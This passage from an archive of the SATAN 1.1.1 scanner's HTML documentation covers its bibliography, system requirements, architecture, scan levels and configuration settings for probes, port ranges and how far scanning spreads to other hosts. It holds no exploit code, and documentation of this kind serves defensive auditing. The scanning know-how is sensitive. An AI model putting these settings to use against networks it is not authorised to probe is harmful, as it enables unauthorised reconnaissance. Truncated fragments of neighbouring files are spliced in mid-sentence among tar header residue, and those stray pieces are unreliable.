  3850. configurable ruleset, it will examine the avenues of trust and
  3851. dependency and iterate fursatan-1.1.1/html/docs/references.html...............................................................   600 .   465 .   506 .       3345  5736744274  12623. ...........................................................................
  3852. .................................................................................................................................................................................................................................................................
  3853. ........................<HTML>
  3854. <HEAD>
  3855. <title>SATAN References/Bibliography</title>
  3856. <LINK REV="made" HREF="mailto:satan@fish.com">
  3857. </HEAD>
  3858. <BODY>
  3859.  
  3860. <H2>Bibliography</H2>
  3861. <HR>
  3862. <P> 
  3863. Baldwin, Robert W.,
  3864. <CITE> Rule Based Analysis of Computer Security</CITE>,
  3865. Massachusetts Institute of Technology, June 1987.
  3866. <P> 
  3867. Bellovin, Steve, 
  3868. <CITE> Using the Domain Name System for System Break-ins</CITE>,
  3869. 1992 (unpublished).
  3870. <P> 
  3871. Farmer, Dan, and Venema, Wietse,
  3872. <A HREF="admin_guide_to_cracking.html">
  3873. <CITE> Improving the Security of Your Site by Breaking Into it</CITE></A>,
  3874. comp.security.unix, December 1993.
  3875. <P>
  3876. Massachusetts Institute of Technology, 
  3877. <CITE> X Window System Protocol</CITE>,
  3878. Version 11, 1990.
  3879. <P> 
  3880. Shimomura, Tsutomu, 
  3881. <CITE> private communication</CITE>.
  3882. <P> 
  3883. Sun Microsystems, 
  3884. <CITE> OpenWindows V3.0.1 User Commands</CITE>,
  3885. March 1992.
  3886. <P> 
  3887. Bellovin, Steve,
  3888. <CITE> Security Problems in the TCP/IP Protocol Suite</CITE>,
  3889. Computer Communication Review 19 (2), 1989; a comment by Stephen
  3890. Kent appears in volume 19 (3), 1989.
  3891. <P> 
  3892. Garfinkel, Simson and Spafford, Gene, 
  3893. <CITE> Practical UNIX Security</CITE>,
  3894. O'Reilly and Associates, Inc., 1992.
  3895. <P> 
  3896. Hess, David, Safford, David, and Pooch, Udo, 
  3897. <CITE> A UNIX Network Protocol Study: Network Information Service</CITE>,
  3898. Computer Communication Review 22 (5) 1992.
  3899. <P> 
  3900. Phreak Accident,
  3901. <CITE> Playing Hide and Seek, UNIX style</CITE>,
  3902. Phrack, Volume Four, Issue Forty-Three, File 14 of 27.
  3903. <P> 
  3904. Ranum, Marcus, 
  3905. <CITE> Firewalls internet electronic mailing list</CITE>,
  3906. Sept 1993.
  3907. <P> 
  3908. Schuba, Christoph, 
  3909. <CITE> Addressing Weaknesses in the Domain Name System Protocol</CITE>,
  3910. Purdue University, August 1993.
  3911. <P> 
  3912. Thompson, Ken,
  3913. <CITE> Reflections on Trusting Trust</CITE>,
  3914. Communications of the ACM
  3915. 27 (8), 1984.
  3916. </BODY>
  3917. </HTML>
  3918. ably educated decisions about the
  3919. security level of the systems involved.
  3920. <p>
  3921. <A NAME="who-should-use"><H3>Who should use SATAN?</H3></a>
  3922. SATAN should prove to be most useful when used by the system or security
  3923. administrators who own or are responsible for the security of the
  3924. systemsatan-1.1.1/html/docs/system_requirements.html......................................................   600 .   465 .   506 .       7040  5740013004  14574. ...............................................................................................
  3925. .................................................................................................................................................................................................................................................................
  3926. ....<HTML>
  3927. <HEAD>
  3928. <title>System Requirements</title>
  3929. <LINK REV="made" HREF="mailto:satan@fish.com">
  3930. </HEAD>
  3931. <BODY>
  3932. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">System Requirements</H1>
  3933. <HR>
  3934. <P>
  3935. Unfortunately SATAN isn't as portable as we would like it to be, but it
  3936. still will run on a fairly large number of Un*x machines.  One
  3937. of the main problems we had is that for it to do all of the tasks that
  3938. we wanted and to actually be able to release it within any reasonable
  3939. time frame, we had to both rely on many other publically available tools
  3940. and forego much of our usual testing methodologies.  Still under
  3941. development, and most often used by us as a research and discovery tool,
  3942. it will become more robust and portable as we get feedback and are able
  3943. to test it on more platforms ourselves.
  3944.  
  3945. <A NAME="OS"><h3>Operating systems</h3></A>
  3946.  
  3947. Currently SATAN is known to work on the following Operating Systems:
  3948. <UL>
  3949. <LI>SunOS 4.1.3_U1
  3950. <LI>SunOS 5.3
  3951. <LI>Irix 5.3
  3952. </UL>
  3953.  
  3954. <A NAME="Hardware"><h3>Hardware platforms</h3></A>
  3955.  
  3956. SATAN has been tested with the following machines:
  3957.  
  3958. <UL>
  3959. <LI>SPARCstation 4/75
  3960. <LI>SPARCstation 5
  3961. <LI>Indigo 2
  3962. </UL>
  3963. However, it should run on quite a few more; try typing <i>make</i> for a
  3964. list of the ones we think it'll work on (currently, this is
  3965. AIX, BSD types, IRIX5, HP-UX 9.x, SunOS 4 & 5, SYSV-R4, Ultrix 4.x,
  3966. and maybe, just maybe, with a bit of tweaking, Linux.)
  3967.  
  3968. <A NAME="diskspace"><h3>Disk space</h3></A>
  3969.  
  3970. Approximately 20 megabytes of total space is needed to install all of
  3971. the supplementary packages and the SATAN program.  The bulk of this is
  3972. due to the other software packages, chiefly Mosaic or netscape (5.5 MB or
  3973. 2.5 MB on a sun) and perl5 (10 MB); SATAN itself takes up about
  3974. two megabytes of space, including the documentation.  If the
  3975. supplementary programs are already installed, it isn't necessary to
  3976. reinstall them.  If you use the binaries only, it can be as small as
  3977. 5 MB for a full installation.
  3978.  
  3979. <A NAME="memory"><h3>Memory</h3></A>
  3980.  
  3981. Memory is another issue - this is very dependent on how many hosts you're
  3982. scanning in or are in your database, but rest assured, SATAN is a
  3983. <STRONG>real</STRONG> pig when it comes to memory.  From our experiences:
  3984. <p>
  3985. With approximately 1500 hosts scanned, with approximately 18000 facts in the
  3986. facts file took about 14 megabytes of memory on a SPARC 4/75 running
  3987. SunOS 4.1.3.
  3988. <p>
  3989. With approximately 4700 hosts scanned, with about 150000 facts, it
  3990. took up almost 35 megabytes of memory on an Indigo 2.
  3991. <p>
  3992. Needless to say, swapping is very painful if you don't have enough memory.
  3993. <P>
  3994. <A NAME="other-requirements">
  3995. <h3>Other software tools required and where you can get them</h3></A>
  3996. <p>
  3997.  
  3998. We realize that you may not have all of the additional software required
  3999. to run SATAN already on your system.  If you're not on the Internet,
  4000. we're sorry but we currently do not have the resources to help you get
  4001. all of these programs.  Perhaps at some point a tape or CD distribution
  4002. could be made (probably by a 3rd party) if the demand is high enough.
  4003. <p>
  4004. Although all of it is widely and freely available on the Internet, on a
  4005. wide number of sites, here are some easy places to find perl, mosaic,
  4006. and netscape:
  4007. <p>
  4008. <a name="perl"></a>
  4009. <a name="Mosaic"></a>
  4010. <UL>
  4011. <li> <a href="ftp://ftp.cis.ufl.edu/pub/perl/src/5.0/perl5.000.tar.gz">
  4012. Perl, version 5.001</a></li>
  4013. <li> <a href="ftp://ftp.ncsa.uiuc.edu/Mosaic/Unix">
  4014. Mosaic, version 2.5</a></li>
  4015. <li> <a href="ftp://ftp.netscape.com/netscape/unix">
  4016. Netscape, version 1.0</a></li>
  4017. </UL>
  4018.  
  4019. <p>
  4020.  
  4021. <hr>
  4022. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  4023.  
  4024. </BODY>
  4025. </HTML>
  4026. irements</title>
  4027. <LINK REV="made" HREF="mailto:satan@fish.com">
  4028. </HEAD>
  4029. <BODY>
  4030. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">System Requirements</H1>
  4031. <HR>
  4032. <P>
  4033. Unfortunately SATAN isn't as portable as we would like it to be, but it
  4034. still will run on a fairly large number of Un*x machines.  One
  4035. of the main problems we had is that for it to do all of the tasks that
  4036. we wanted and to actually be able to release it within any reasonable
  4037. time frame, we had to both rely on msatan-1.1.1/html/docs/the_main_parts.html...........................................................   600 .   465 .   506 .      32571  5740013366  13504. .................................................................
  4038. .................................................................................................................................................................................................................................................................
  4039. ..................................<HTML>
  4040. <HEAD>
  4041. <title>SATAN Architecture</title>
  4042. <LINK REV="made" HREF="mailto:satan@fish.com">
  4043. </HEAD>
  4044. <BODY>
  4045. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">SATAN Architecture</H1>
  4046.  
  4047. <hr>
  4048.  
  4049. <h3><a name="general">Architecture Overview </a></h3>
  4050.  
  4051. SATAN has an extensible architecture. At the center is a relatively
  4052. small generic kernel that knows little to nothing about system types,
  4053. network service names, vulnerabilities, or other details.  Knowledge
  4054. about the details of network services, system types, etc. is built into
  4055. small, dedicated, data collection tools and rule bases. The behaviour
  4056. of SATAN is controlled from a configuration file. Settings may be
  4057. overruled via command-line options of via a hypertext user interface.
  4058.  
  4059. <p>
  4060.  
  4061. The SATAN kernel consists of the following main parts:
  4062.  
  4063. <dl>
  4064.  
  4065. <p><dt><a href="#crypto-ignition>Magic cookie generator</a><dd> Each
  4066. time SATAN is started up in interactive mode, the magic cookie generator
  4067. generates a pseudorandom string that the HTML browser must send to the
  4068. SATAN custom http server as part of all commands.
  4069.  
  4070. <p><dt><a href="#policy-engine">Policy engine</a>. <dd>Given the
  4071. constraints specified in the SATAN <a href="satan.cf.html">
  4072. configuration file,</a> this subsystem determines whether a host may be
  4073. scanned, and what <a href="#scanning-levels">scanning level</a> is
  4074. appropriate for that host.
  4075.  
  4076. <p><dt><a href="#target-acquisition">Target acquisition</a>. <dd>Given
  4077. a list of target hosts, this SATAN subsystem generates a list of probes
  4078. to be run on those hosts. The list of probes serves as input to the <a
  4079. href="#data-acquisition">data acquisition</a> subsystem.
  4080.  
  4081. The target acquisition module also keeps track of a host's <a
  4082. href="#proximity-levels">proximity level</a>, and handles the
  4083. so-called <a href="#subnet-scan">subnet expansions</a>.
  4084.  
  4085. <p><dt><a href="#data-acquisition">Data acquisition</a>. <dd>Given a
  4086. list of probes, this SATAN subsystem runs the corresponding data
  4087. collection tools and generates new facts. These facts serve as input to
  4088. the <a href="#inference-engine">inference engine</a>.
  4089.  
  4090. <p><dt><a href="#inference-engine">Inference engine</a>. <dd>Given a
  4091. list of facts, this subsystem generates new target hosts, new probes,
  4092. and new facts.
  4093.  
  4094. New target hosts serve as input to the <a href="#target-acquisition">
  4095. target acquisition</a> subsystem; new probes are handled by the <a
  4096. href="#data-acquisition">data acquisition</a> subsystem, and new facts
  4097. are processed by the <a href="#inference-engine">inference engine</a>.
  4098.  
  4099. <p><dt><a href="#report-analysis">Report and analysis</a>. <dd>This
  4100. subsystem takes the collected data and builds a virtual hyperspace that
  4101. you can explore with your favourite HTML browser.
  4102.  
  4103. </dl>
  4104.  
  4105. Once SATAN is given an initial target host, the target acquisition,
  4106. data acquisition and inference engine subsystems keep feeding each
  4107. other new data until nothing new comes up. Technically speaking, the
  4108. system does a breadth-first search.
  4109.  
  4110. <h3><a name="crypto-ignition">Magic cookie generator</a></h3>
  4111.  
  4112. When you start SATAN in interactive mode, i.e., using the HTML user
  4113. interface, SATAN performs the following actions before starting up
  4114. the HTML browser:
  4115.  
  4116. <ul> 
  4117.  
  4118. <p><li>Start the SATAN httpd daemon.  This is a very limited subset of the
  4119. typical httpd daemon, sufficient to support all activities that SATAN
  4120. can perform.
  4121.  
  4122. <p><li>Generate a (hopefully "good") 32 byte cryptographic magic cookie for
  4123. the upcoming SATAN run.  SATAN runs several system utilities in
  4124. parallel and compresses their quasi-random output with the MD5 hashing
  4125. function.  The HTML browser must specify this magic cookie as part of
  4126. the URLs that it sends to the custom SATAN httpd daemon.  If this key
  4127. is ever compromised, intruders could potentially execute any programs
  4128. that the SATAN program can run, with the same privileges as the user
  4129. that started the SATAN program. SATAN generates a new magic cookie for
  4130. each session. SATAN and the HTML browser always run on the same host,
  4131. so there is no need to send the magic cookie over the network.
  4132.  
  4133. <p><li>Read in any previously collected scan data.  By default, SATAN will
  4134. read data in the <i>$satan_data</i> database.  In the mean time HTML
  4135. browser comes up, but it will not be ale to communicate with SATAN
  4136. until the database has been read in.  This can take anywhere from a few
  4137. seconds to several minutes, depending on the size of the database, the
  4138. speed of the machine you're using to run SATAN on, the amount of
  4139. available RAM, etc.
  4140.  
  4141. </ul>
  4142.  
  4143. <h3><a name="policy-engine">Policy engine</a></h3>
  4144.  
  4145. The policy engine controls what hosts SATAN may probe.  The probing
  4146. intensity depends on the host's <a href="#proximity-levels">proximity
  4147. level</a>, which is basically a measure for the distance from the
  4148. initial target host(s). Probing intensities and probing constraints are
  4149. specified in the <a href="satan.cf.html">configuration file</a>.  This
  4150. file can direct SATAN to stay within certain internet domains, or to
  4151. stay away from specific internet domains.
  4152.  
  4153. <p>
  4154.  
  4155. <h3><a name="proximity-levels"> Proximity levels </a></h3>
  4156.  
  4157. <p>
  4158.  
  4159. While SATAN gathers information from the so-called <i>primary</i>
  4160. target(s) that you specified, the program may learn about the existence
  4161. of other hosts. Examples of such <i>non-primary</i> systems are:
  4162.  
  4163. <ul>
  4164.  
  4165. <li>hosts found in remote login information from the <i>finger</i>
  4166. service,
  4167.  
  4168. <li>hosts that import file systems from the target, according to the
  4169. <i>showmount</i> command.
  4170.  
  4171. </ul>
  4172.  
  4173. For each host, SATAN maintains a proximity count. The proximity of a
  4174. primary host is zero; for hosts that SATAN finds while probing a
  4175. primary host, the proximity is one, and so on.  By default, SATAN stays
  4176. away from hosts with non-zero proximity, but you can override this
  4177. policy by editing the <a href="satan.cf.html">configuration file,</a>
  4178. via command-line switches, or from the hypertext user interface.
  4179.  
  4180. <h3><a name="target-acquisition">Target acquisition</a></h3>
  4181.  
  4182. SATAN can gather data about just one host, or it can gather data about
  4183. all hosts within a subnet (a block of 256 adjacent network addresses).
  4184. The latter process is called a <a href="#subnet-scan">subnet scan
  4185. </a>.  Target hosts may be specified by the user, or may be generated
  4186. by the <a href="#inference-engine">inference engine</a> when it
  4187. processes facts that were generated by the <a href="#data-acquisition">
  4188. data acquisition</a> module.
  4189.  
  4190. <p>
  4191.  
  4192. Once a list of targets is available, the target acquisition module
  4193. generates a list of probes, according to the <a
  4194. href="#scanning-levels">scanning level</a> derived by the <a
  4195. href="#policy-engine">policy engine</a>.  The actual data collection is
  4196. done under control of the <a href="#data-acquisition">data
  4197. acquisition</a> module.
  4198.  
  4199. <h3><a name="subnet-scan">Subnet scan</a></h3>
  4200.  
  4201. When requested to scan all hosts in a subnet (a block of 256 internet
  4202. addresses), SATAN uses the <i>fping</i> utility to find out what
  4203. hosts in that subnet actually are available.  This is to avoid wasting
  4204. time talking to hosts that no longer exist or that happen to be down at
  4205. the time of the measurement. The <i>fping</i> scan also may discover
  4206. unregistered systems that have been attached to the network without
  4207. permission from the network administrator.
  4208.  
  4209. <h3><a name="data-acquisition">Data acquisition</a></h3>
  4210.  
  4211. The data acquisition engine takes a list of probes and executes each
  4212. probe, after it has verified that the probe may be run at the target's
  4213. <a href="#scanning-levels">scanning level</a>. What tool may be run at
  4214. a given scanning level is specified in the <a
  4215. href="satan.cf.html">configuration file</a>.  The software keeps a
  4216. record of what probes it has already executed, to avoid doing
  4217. unnecessary work. The result of data acquisition is a list of new facts
  4218. that is processed by the <a href="#inference-engine">inference engine</a>.
  4219.  
  4220. <p>
  4221.  
  4222. SATAN comes with a multitude of little tools.  Each tool implements one
  4223. type of network probe. By convention, the name of a data collection
  4224. tool ends in <i>.satan</i>. Often these tools are just a few lines of
  4225. PERL or shell script language.  All tools produce output according to
  4226. the same common <a href="satan.db.html">tool record format.</a>
  4227. SATAN derives a great deal of power from this toolbox approach. When a
  4228. new network feature becomes of interest, it is relatively easy to <a
  4229. href="satan.probes.html">add your own probe</a>.
  4230.  
  4231. <h3><a name="scanning-levels">Scanning levels</a></h3>
  4232.  
  4233. SATAN can probe hosts at various levels of intensity. The scanning
  4234. level is controlled with the <a href="satan.cf.html">configuration
  4235. file</a>, but can be overruled with command-line switches or via the
  4236. graphical user interface.
  4237.  
  4238. <dl>
  4239.  
  4240. <p><dt>light
  4241.  
  4242. <dd>This is the least intrusive scan. SATAN collects information from
  4243. the DNS (Domain Name System), tries to establish what RPC (Remote
  4244. Procedure Call) services the host offers, and what file systems it
  4245. shares via the network.  With this information, SATAN finds out the
  4246. general character of a host (file server, diskless workstation).
  4247.  
  4248. <p><dt>normal (includes <i>light</i> scan probes)
  4249.  
  4250. <dd>At this level, SATAN probes for the presence of common network
  4251. services such as finger, remote login, ftp, WWW, Gopher, email and a
  4252. few others.  With this information, SATAN establishes the operating
  4253. system type and, where possible, the software release version.
  4254.  
  4255. <p><dt>heavy (includes <i>normal</i> scan probes)
  4256.  
  4257. <dd>After it has found out what services the target offers, SATAN looks
  4258. at them in more depth, and does a more exhaustive scan for network
  4259. services offered by the target. At this scanning level SATAN finds out
  4260. if the anonymous FTP directory is writable, if the X Windows server has
  4261. its access control disabled, if there is a wildcard in the <i>
  4262. /etc/hosts.equiv </i>file, and so on.
  4263.  
  4264. </dl>
  4265.  
  4266. The fourth level, breaking into systems, has not been implemented.
  4267.  
  4268. <p>
  4269.  
  4270. At each level SATAN may discover that critical access controls are
  4271. missing or defective, or that the host is running a particular software
  4272. version that is known to have problems. SATAN takes a conservative
  4273. approach and does not exploit the problem.
  4274.  
  4275. <h3><a name="inference-engine">Inference engine</a></h3>
  4276.  
  4277. The heart of SATAN is a collection of little inference engines. Each
  4278. engine is controlled by its own rule base. The rules are applied in
  4279. real time, while data is being collected.  The result of these
  4280. inferences are lists of new facts for the inference engine, new probes
  4281. for the <a href="#data-acquisition">data acquisition engine</a>, or new
  4282. targets for the <a href="#target-acquisition">target acquisition </a>
  4283. engine.
  4284.  
  4285. <dl>
  4286.  
  4287. <p><dt><a href="satan.rules.html#todo">rules/todo</a>
  4288.  
  4289. <dd>Rules that decide what probe to perform next.  For example, when
  4290. the target host offers the FTP service, and when the target is being
  4291. scanned at a sufficient level, SATAN will attempt to determine if the
  4292. host runs anonymous FTP, and if the FTP home directory is writable for
  4293. anonymous users.
  4294.  
  4295. <p><dt><a href="satan.rules.html#hosttype">rules/hosttype</a>
  4296.  
  4297. <dd>Rules that deduce the system class (example: DEC HP SUN) and, where
  4298. possible, the operating system release version, from telnet, ftp and
  4299. other banners.
  4300.  
  4301. <p><dt><a href="satan.rules.html#facts">rules/facts</a>
  4302.  
  4303. <dd>Rules that deduce potential vulnerabilities. For example, several
  4304. versions of the FTP or sendmail daemons are known to have problems.
  4305. Daemon versions can be recognized by their greeting banners.
  4306.  
  4307. <p><dt><a href="satan.rules.html#services">rules/services</a>
  4308.  
  4309. <dd>Rules that translate cryptic daemon banners and/or network port
  4310. numbers to more user-friendly names such as <i>WWW server,</i> or
  4311. <i>diskless NFS client</i>.
  4312.  
  4313. <p><dt><a href="satan.rules.html#trust">rules/trust</a>
  4314.  
  4315. <dd>Like the services rules, these rules help SATAN to classify the
  4316. data that was collected by the tools on NFS service, DNS, NIS, and
  4317. other cases of trust.
  4318.  
  4319. <p><dt><a href="satan.rules.html#drop">rules/drop</a>
  4320.  
  4321. <dd>What data-collection tool output SATAN should ignore. This can be
  4322. used to shut up SATAN about things that you do not care about.
  4323. Implemented by the <i>drop_fact.pl</i> module.
  4324.  
  4325. </dl>
  4326.  
  4327. Application of these rules in real time, to each tool output record,
  4328. and within the context of all information that has been collected
  4329. sofar, offers an amazing potential that we are only beginning to
  4330. understand.
  4331.  
  4332. <h3><a name="report-analysis">Report and Analysis</a></h3>
  4333.  
  4334. When SATAN scans a network with hundreds or thousands of hosts, it can
  4335. collect a tremendous amount of information.  As we have found, it does
  4336. not make much sense to simply present all that information as huge
  4337. tables. You need the power of hypertext technology, combined with some
  4338. unusual implementation techniques to generate a dynamic hyperspace on
  4339. the fly.
  4340.  
  4341. <p>
  4342.  
  4343. With a minimal amount of effort (at least, by you; your computer may
  4344. disagree), SATAN allows you to navigate though your networks. You can
  4345. break down the information according to:
  4346.  
  4347. <ul>
  4348.  
  4349. <li>Domain or subnet,
  4350.  
  4351. <li>Network service,
  4352.  
  4353. <li>System type or operating system release,
  4354.  
  4355. <li>Trust relationships,
  4356.  
  4357. <li>Vulnerability type, danger level, or count.
  4358.  
  4359. </ul>
  4360.  
  4361. Breakdowns by combinations of these properties are also possible.
  4362. SATAN's reporting capabilities makes it relatively easy to find out,
  4363. for example:
  4364.  
  4365. <ul>
  4366.  
  4367. <li>What subnets have diskless workstations,
  4368.  
  4369. <li>What hosts offer anonymous FTP,
  4370.  
  4371. <li>Who runs Linux or FreeBSD on their PC,
  4372.  
  4373. <li>What unregistered (no DNS hostname) hosts are attached to your network.
  4374.  
  4375. </ul>
  4376.  
  4377. <p>
  4378.  
  4379. Questions like these can be answered with only a few mouse clicks.
  4380. Printing a report is a matter of pressing the <i>print</i> button of
  4381. your favourite hypertext viewer.
  4382.  
  4383. <hr>
  4384. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  4385.  
  4386. </BODY>
  4387. </HTML>
  4388. itable, if the X Windows server has
  4389. its access control disabled, if there is a wildcard in the <i>
  4390. /etc/hosts.equiv </i>file, and so onsatan-1.1.1/html/docs/who_should_use.html...........................................................   600 .   465 .   506 .        641  5736744275  13506. .................................................................
  4391. .................................................................................................................................................................................................................................................................
  4392. ..................................<HTML>
  4393. <HEAD>
  4394. <title>Who should use SATAN?</title>
  4395. <LINK REV="made" HREF="mailto:satan@fish.com">
  4396. </HEAD>
  4397. <BODY>
  4398. <H2>Who should use SATAN?</H2>
  4399. <HR>
  4400. <p>
  4401. SATAN's primary design goal was to be an information gathering and
  4402. sorting tool.  System administrators will probably get the most out
  4403. of using it, but it might prove useful for anyone who wants to learn
  4404. and understand more about network security.
  4405. </BODY>
  4406. </HTML>
  4407. rules, these rules help SATAN to classify the
  4408. data that was collected by the tools on NFS servisatan-1.1.1/html/docs/satan.cf.html.................................................................   600 .   465 .   506 .      24762  5741743422  12213. ....................................................
  4409. .................................................................................................................................................................................................................................................................
  4410. ...............................................<HTML>
  4411. <HEAD>
  4412. <title>SATAN Configuration File</title>
  4413. <LINK REV="made" HREF="mailto:satan@fish.com">
  4414. </HEAD>
  4415. <BODY>
  4416. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">The SATAN configuration file</H1>
  4417. <HR>
  4418. <p>
  4419. <OL>
  4420. <li> <A HREF="#attack-level"> Attack Level</A>
  4421. <li> <A HREF="#correspond"> Which Probes Correspond to the Attack Level</A>
  4422. <li> <A HREF="#status-file"> The What's and Where's of the Current Probe</A>
  4423. <li> <A HREF="#timeouts"> Timeouts</A>
  4424. <li> <A HREF="#timeout-signals"> Timeout Signals</A>
  4425. <li> <A HREF="#prox-vars"> Proximity Variables</A> - <STRONG>IMPORTANT</STRONG>
  4426. <li> <A HREF="#trust"> Trusted or Untrusted</A>
  4427. <li> <A HREF="#exceptions"> Targeting Exceptions</A>
  4428. <li> <A HREF="#workarounds"> Workarounds: DNS, ICMP </A>
  4429. </OL>
  4430.  
  4431. <HR>
  4432. The SATAN configuration file (<I>config/satan.cf</I>) is
  4433. <STRONG><I>VERY</I></STRONG> important!  Almost everything SATAN does
  4434. when scanning hosts and networks is controlled through this file; how
  4435. hard to probe the targets, how far the probes will spread from the
  4436. original host, what tests will be run, etc.  While a limited number of
  4437. configuration options can be controlled via the HTML user interface, the
  4438. very low-level variables must be configured by manually editing this
  4439. file.
  4440. <p>
  4441. This file is nothing more than perl code that gets run when the program
  4442. initializes; don't be intimidated by that, however - it is fairly easy
  4443. to read and is heavily commented (if you don't know perl, comments
  4444. (lines that don't do anything) are lines that start with a sharp/pound
  4445. sign ("#")).  Variables are tokens that start with a dollar sign; values
  4446. of 0 or null ("") typically mean false, unless otherwise noted.
  4447. <p>
  4448. The easiest way to explain all of the options is by simply going over
  4449. each line in the file and explain what it does:
  4450. <p>
  4451. <A NAME="attack-level"> <H3>Attack Level</H3> </A>
  4452. <PRE>
  4453.     # Default attack level (0=light, 1=normal, 2=heavy)
  4454.     $attack_level = 0;
  4455. </PRE>
  4456. This sets the attack level, which in turn tells SATAN which probes
  4457. to use (<A HREF="#attack-level"> see below</A>) against a target host.
  4458. <p>
  4459. <A NAME="correspond"> <H3>Which Probes Correspond to the Attack Level</H3></A>
  4460. This section is a bit tricky; the 3 types of probes (light, normal,
  4461. heavy) each have a set of programs that they use when
  4462. probing a remote system.  As with any of the other variables in the
  4463. program used, these can be changed as desired. the programs that are
  4464. <p>
  4465. However, there is one twist; not all probes are run, even though they
  4466. might be listed under an attack level.  If a SATAN probe has a question
  4467. mark ("?") appended to its name, it will run conditionally.
  4468. What does this mean?  Take, for instance, the NFS SATAN checker.  There
  4469. is no reason to run it if the remote system isn't running NFS (indeed,
  4470. you shouldn't run it, because the program will waste time timing out on
  4471. the remote host), so SATAN will only run this if it determines that NFS
  4472. is being run.
  4473. <p>
  4474. So, examining the first few lines in this section reveals:
  4475. <PRE>
  4476.     # Probes by attack level.
  4477.     #
  4478.     # ? Means conditional, controlled by rules.todo. * Matches anything.
  4479.     @light = (
  4480.             'dns.satan',
  4481.             'rpc.satan',
  4482.             'showmount.satan?',
  4483.             );
  4484. </PRE>
  4485. <p>
  4486. This means that a light scan will run the <I>dns.satan</I> and the
  4487. <I>rpc.satan</I> scans, and the <I>showmount.satan</I> if SATAN
  4488. determines that the target is running NFS.  
  4489. <p>
  4490. A bit further down shows:
  4491. <PRE>
  4492.     @normal = (
  4493.             @light, 
  4494.             'finger.satan', 
  4495.             'tcpscan.satan 70,80,ftp,telnet,smtp,nntp,uucp', 
  4496.             'udpscan.satan 53,177',
  4497.             'rusers.satan?', 
  4498.             'boot.satan?',
  4499.             );
  4500.  
  4501.     @heavy = (
  4502.             @normal,
  4503.             $heavy_tcp_scan = 'tcpscan.satan 1-9999',
  4504.             $heavy_udp_scan = 'udpscan.satan 1-2050,32767-33500',
  4505.             '*?',
  4506.             );
  4507. </PRE>
  4508. Nothing unusual here, except for the tcp and udp scan numbers; these
  4509. refer to the port numbers that SATAN examines for signs of activity.
  4510. <A NAME="status-file"> <H3>Status File</H3></A>
  4511. SATAN keeps track of what the latest attack is in a file.  This filename
  4512. is stored in <I>$status_file</I> and is updated before each new probe runs:
  4513. <PRE>
  4514.     # status file; keeps track of what probe is currently running and at what time it started
  4515.     $status_file = "status_file";
  4516. </PRE>
  4517. <A NAME="timeouts"> <H3>Timeouts</H3></A>
  4518. Certain network probes will "hang", or continue to try to contact the
  4519. remote host for a <STRONG>very</STRONG> long time.  To prevent this from
  4520. slowing down the overall scan, there are three timeout values (in
  4521. seconds) that SATAN recognizes:
  4522. <PRE>
  4523.     # timeout values
  4524.     $slow_timeout = 60;
  4525.     $med_timeout = 20;
  4526.     $fast_timeout = 10;
  4527. </PRE>
  4528. By default, all SATAN probes are launched with the same timeout value,
  4529. which can be set from the command line or from the HTML interface.
  4530. SATAN defaults to a medium timeout value.
  4531. <p>
  4532. Some tools need more time, such as the nfs checker, or the port scanner
  4533. when many ports are to be scanned. For this reason you override the
  4534. default timeout for specific tools. Examples:
  4535. <pre>
  4536.     %timeouts = (
  4537.             'nfs-chk', $slow_timeout,
  4538.             $heavy_tcp_scan, $slow_timeout,
  4539.             );
  4540. </pre>
  4541.  
  4542. <p>
  4543.  
  4544. <A NAME="timeout-signals"> <H3>Timeout Signals</H3></A>
  4545. When a timeout occurs, a signal is sent to the process running to stop
  4546. it.  This defaults to "9", which basically means that the process is toast:
  4547. <PRE>
  4548.     # what signal we send to nuke things when they timeout:
  4549.     $timeout_kill = 9;
  4550. </PRE>
  4551.  
  4552. <A NAME="prox-vars"> <H3>Proximity Variables</H3></A>
  4553. This is probably the most critical variable in the entire SATAN program.
  4554. Under <STRONG>NO</STRONG> circumstances do you want to set this to
  4555. anything over "3" unless you know <STRONG>EXACTLY</STRONG> what you're
  4556. doing!  Anything over "0" can affect sites other than your own.
  4557. <p>
  4558. Proximity refers to how close the current target is from the original
  4559. target of the SATAN probe.  For instance, if you probe
  4560. <I>victim.com</I> and find that <I>nic.ddn.mil</I> is its
  4561. nameserver, then <I>nic.ddn.mil</I>'s proximity level would be "1",
  4562. and SATAN might probe that host next, depending on the rules you choose.
  4563. <p>
  4564. The number of hosts SATAN scans can grow exponentially, so again, be
  4565. careful!
  4566. <PRE>
  4567.     #
  4568.     # Proximity variables; how far out do we attack, does severity go down, etc.
  4569.     #
  4570.     # how far out from the original target do we attack?
  4571.     $max_proximity_level = 0;
  4572. </PRE>
  4573. SATAN defaults to 0, which means that it will only scan the primary
  4574. targets selected.
  4575. <p>
  4576. As SATAN gets farther away from the primary target, the attacks will get
  4577. weaker - this presumes that you can attack your own sites as much as
  4578. desired, but since you might not know where SATAN will end up, you'd
  4579. like to be cautious the farther away the probes are going from your own
  4580. host.
  4581. <PRE>
  4582.     # Attack level drops by this much each proximity level change
  4583.     $proximity_descent = 1;
  4584. </PRE>
  4585. This value is subtracted from the current <A HREF="#attack-level">attack
  4586. level</A> - a value of zero means that attacks do not diminish in
  4587. strength.
  4588. <p>
  4589. If the attack level goes below zero, do you stop or go on?  The
  4590. "$sub_zero_proximity" variable determines this:
  4591. <PRE>
  4592.     # when we go below zero attack severity, do we stop (0) or go on (1)?
  4593.     $sub_zero_proximity = 0;
  4594. </PRE>
  4595. SATAN will, by default, examine only one target at a time.  If the
  4596. "$attack_proximate_subnets" variable is set to "1", then
  4597. <STRONG>ALL</STRONG> targets on the secondary target's subnet will be
  4598. scanned.  Be <STRONG>VERY</STRONG> careful when changing this!a
  4599. <PRE>
  4600.     # a question; do we attack subnets when we nuke a target?
  4601.     # 0 = no; 1 = primary target subnet
  4602.     $attack_proximate_subnets = 0;
  4603. </PRE>
  4604.  
  4605. <A NAME="trust"> <H3>Trusted or Untrusted</H3>
  4606.  
  4607. By default, SATAN assumes that it is being run from "inside". This
  4608. means that the probing host may appear in other hosts <i>rhosts,
  4609. hosts.equiv</i> or <i>NFS export</i> files. 
  4610.  
  4611. <PRE>
  4612.     #
  4613.     # Does SATAN run on an untrusted host? (0=no; 1=yes, this host may appear
  4614.     # in the rhosts, hosts.equiv or NFS export files of hosts that are being
  4615.     # probed).
  4616.     #
  4617.     $untrusted_host = 0;
  4618. </PRE>
  4619.  
